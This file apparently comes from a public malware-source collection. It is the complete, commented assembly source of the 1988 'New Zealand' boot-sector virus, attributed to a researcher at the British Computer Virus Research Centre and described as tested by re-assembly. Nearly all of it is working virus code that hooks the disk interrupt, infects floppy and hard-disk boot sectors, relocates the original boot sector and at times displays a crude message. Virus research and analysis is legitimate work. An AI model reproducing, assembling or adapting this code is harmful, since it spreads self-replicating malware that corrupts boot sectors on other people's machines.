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https://github.com/vxunderground/MalwareSourceCode
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284 lines
12 KiB
NASM
284 lines
12 KiB
NASM
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; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
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; : British Computer Virus Research Centre :
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; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
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; : Telephone: Domestic 0273-26105, International +44-273-26105 :
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; : :
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; : The 'New Zealand' Virus :
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; : Disassembled by Joe Hirst, November 1988 :
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; : :
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; : Copyright (c) Joe Hirst 1988, 1989. :
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; : :
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; : This listing is only to be made available to virus researchers :
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; : or software writers on a need-to-know basis. :
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; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
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; The virus consists of a boot sector only. The original boot sector
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; is kept at track zero, head one, sector three on a floppy disk, or
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; track zero, head zero, sector two on a hard disk.
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; The disassembly has been tested by re-assembly using MASM 5.0.
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; The program requires an origin address of 7C00H, as it is designed
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; to load and run as a boot sector.
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RAM SEGMENT AT 0
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; System data
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ORG 4CH
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BW004C DW ? ; Interrupt 19 (13H) offset
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BW004E DW ? ; Interrupt 19 (13H) segment
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ORG 413H
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BW0413 DW ? ; Total RAM size
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ORG 440H
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BB0440 DB ? ; Motor timeout counter
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ORG 46CH
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BB046C DB ? ; System clock
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ORG 7C0AH
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I13_OF DW ?
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I13_SG DW ?
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HICOOF DW ?
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HICOSG DW ? ; High core segment
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RAM ENDS
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CODE SEGMENT BYTE PUBLIC 'CODE'
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ASSUME CS:CODE,DS:RAM
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START: DB 0EAH ; Far jump to next byte
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DW BP0010, 07C0H
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BP0010: JMP BP0110
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DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
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DUMMY DB 0
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; Original Int 13H address
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INT_13 EQU THIS DWORD
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DW 0
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DW 0
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; Branch address in high core
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HIGHCO EQU THIS DWORD
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DW BP0120
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DW 0
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; Boot sector processing address
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BOOTST EQU THIS DWORD
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DW 07C00H
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DW 0
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; Interrupt 13H disk I/O routine
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BP0020: PUSH DS
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PUSH AX
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CMP AH,2 ; Sub-function 2
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JB BP0030 ; Pass on if below
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CMP AH,4 ; Sub-function 4
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JNB BP0030 ; Pass on if not below
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CMP DL,0 ; Is drive A
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JNE BP0030 ; Pass on if not
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XOR AX,AX ; \ Segment zero
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MOV DS,AX ; /
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MOV AL,BB0440 ; Get motor timeout counter
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OR AL,AL ; Test for zero
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JNE BP0030 ; Branch if not
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CALL BP0040 ; Call infection routine
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BP0030: POP AX
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POP DS
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JMP INT_13 ; Pass control to Int 13H
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; Infection routine
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BP0040: PUSH BX
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PUSH CX
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PUSH DX
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PUSH ES
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PUSH SI
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PUSH DI
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MOV SI,4 ; Retry count
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BP0050: MOV AX,201H ; Read one sector
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PUSH CS ; \ Set ES to CS
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POP ES ; /
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MOV BX,200H ; Boot sector buffer
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MOV CX,1 ; Track zero, sector 1
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XOR DX,DX ; Head zero, drive A
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PUSHF ; Fake an interrupt
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CALL INT_13 ; Call Int 13H
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JNB BP0060 ; Branch if no error
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XOR AX,AX ; Reset disk sub-system
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PUSHF ; Fake an interrupt
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CALL INT_13 ; Call Int 13H
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DEC SI ; Decrement retry count
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JNE BP0050 ; Retry
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JMP BP0080 ; No more retries
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BP0060: XOR SI,SI ; Start of program
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MOV DI,200H ; Boot sector buffer
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MOV AX,ES:[SI] ; Get first word
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CMP AX,ES:[DI] ; Test if same
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JNE BP0070 ; Install if not
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MOV AX,ES:[SI+2] ; Get second word
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CMP AX,ES:[DI+2] ; Test if same
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JNE BP0070 ; Install if not
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JMP BP0080 ; Pass on
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BP0070: MOV AX,301H ; Write one sector
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MOV BX,200H ; Boot sector buffer
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MOV CX,3 ; Track zero, sector 3
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MOV DX,100H ; Head 1, drive A
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PUSHF ; Fake an interrupt
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CALL INT_13 ; Call Int 13H
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JB BP0080 ; Branch if error
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MOV AX,301H ; Write one sector
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XOR BX,BX ; This sector
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MOV CL,1 ; Track zero, sector 1
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XOR DX,DX ; Head zero, drive A
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PUSHF ; Fake an interrupt
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CALL INT_13 ; Call Int 13H
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BP0080: POP DI
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POP SI
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POP ES
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POP DX
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POP CX
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POP BX
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RET
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; Display message
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BP0090: MOV AL,CS:[BX] ; Get next message byte
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INC BX ; Update pointer
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CMP AL,0 ; Test for end of message
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JNE BP0100 ; Branch to display
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RET
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BP0100: PUSH AX
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PUSH BX
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MOV AH,0EH ; Write TTY mode
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MOV BH,0
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INT 10H ; VDU I/O
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POP BX
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POP AX
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JMP SHORT BP0090 ; Process next byte
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; Install in high core
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BP0110: XOR AX,AX ; \ Segment zero
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MOV DS,AX ; /
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CLI
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MOV SS,AX ; \ Set stack to boot sector area
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MOV SP,7C00H ; /
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STI
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MOV AX,BW004C ; Get Int 13H offset
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MOV I13_OF,AX ; Store in jump offset
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MOV AX,BW004E ; Get Int 13H segment
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MOV I13_SG,AX ; Store in jump segment
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MOV AX,BW0413 ; Get total RAM size
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DEC AX ; \ Subtract 2k
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DEC AX ; /
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MOV BW0413,AX ; Replace total RAM size
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MOV CL,6 ; Bits to move
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SHL AX,CL ; Convert to Segment
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MOV ES,AX ; Set ES to segment
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MOV HICOSG,AX ; Move segment to jump address
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MOV AX,OFFSET BP0020 ; Get Int 13H routine address
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MOV BW004C,AX ; Set new Int 13H offset
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MOV BW004E,ES ; Set new Int 13H segment
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MOV CX,OFFSET ENDADR ; Load length of program
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PUSH CS ; \ Set DS to CS
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POP DS ; /
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XOR SI,SI ; \ Set pointers to zero
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MOV DI,SI ; /
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CLD
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REPZ MOVSB ; Copy program to high core
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JMP HIGHCO ; Branch to next instruc in high core
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; Continue processing in high core
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BP0120: MOV AX,0 ; Reset disk sub-system
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INT 13H ; Disk I/O
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XOR AX,AX ; \ Segment zero
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MOV ES,AX ; /
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ASSUME DS:NOTHING,ES:RAM
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MOV AX,201H ; Read one sector
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MOV BX,7C00H ; Boot sector buffer address
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CMP DRIVEN,0 ; Test drive is A
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JE BP0130 ; Branch if yes
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MOV CX,2 ; Track zero, sector 2
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MOV DX,80H ; Side zero, drive C
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INT 13H ; Disk I/O
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JMP BP0150 ; Pass control to boot sector
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; Floppy disk
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BP0130: MOV CX,3 ; Track zero, sector 3
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MOV DX,100H ; Side one, drive A
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INT 13H ; Disk I/O
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JB BP0150 ; Branch if error
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TEST BB046C,7 ; Test low byte of time
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JNZ BP0140 ; Branch if not 7
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MOV BX,OFFSET MESSAGE ; Load message address
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CALL BP0090 ; Display message
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BP0140: PUSH CS ; \ Set ES to CS
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POP ES ; /
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MOV AX,201H ; Read one sector
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MOV BX,200H ; C-disk boot sector buffer
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MOV CX,1 ; Track zero, sector 1
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MOV DX,80H ; Side zero, drive C
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INT 13H ; Disk I/O
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JB BP0150 ; Branch if error
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PUSH CS ; \ Set DS to CS
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POP DS ; /
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MOV SI,200H ; C-disk boot sector buffer
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MOV DI,0 ; Start of program
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MOV AX,[SI] ; Get first word
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CMP AX,[DI] ; Compare to C-disk
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JNE BP0160 ; Install on C-disk if different
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MOV AX,[SI+2] ; Get second word
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CMP AX,[DI+2] ; Compare to C-disk
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JNE BP0160 ; Install on C-disk if different
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BP0150: MOV DRIVEN,0 ; Drive A
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MOV DUMMY,0
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JMP BOOTST ; Pass control to boot sector
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; Install on C-disk
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BP0160: MOV DRIVEN,2 ; Drive C
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MOV DUMMY,0
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MOV AX,301H ; Write one sector
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MOV BX,200H ; C-disk boot sector buffer
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MOV CX,2 ; Track zero, sector 2
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MOV DX,80H ; side zero, drive C
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INT 13H ; Disk I/O
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JB BP0150 ; Branch if error
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PUSH CS ; \ Set DS to CS
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POP DS ; /
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PUSH CS ; \ Set ES to CS
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POP ES ; /
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MOV SI,OFFSET ENDADR+200H ; Target offset
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MOV DI,OFFSET ENDADR ; Source offset
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MOV CX,OFFSET ENDADR-400H ; Length to move
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REPZ MOVSB ; Copy C-disk boot sector
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MOV AX,301H ; Write one sector
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MOV BX,0 ; Write this sector
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MOV CX,1 ; Track zero, sector 1
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MOV DX,80H ; Side zero, drive C
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INT 13H ; Disk I/O
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JMP SHORT BP0150 ; Pass control to boot sector
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MESSAGE DB 7, 'Old DICKs don't work!', 7, 0DH, 0AH, 0AH, 0
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DB 'Neither does your computer'
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ENDADR EQU $-1
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CODE ENDS
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END START
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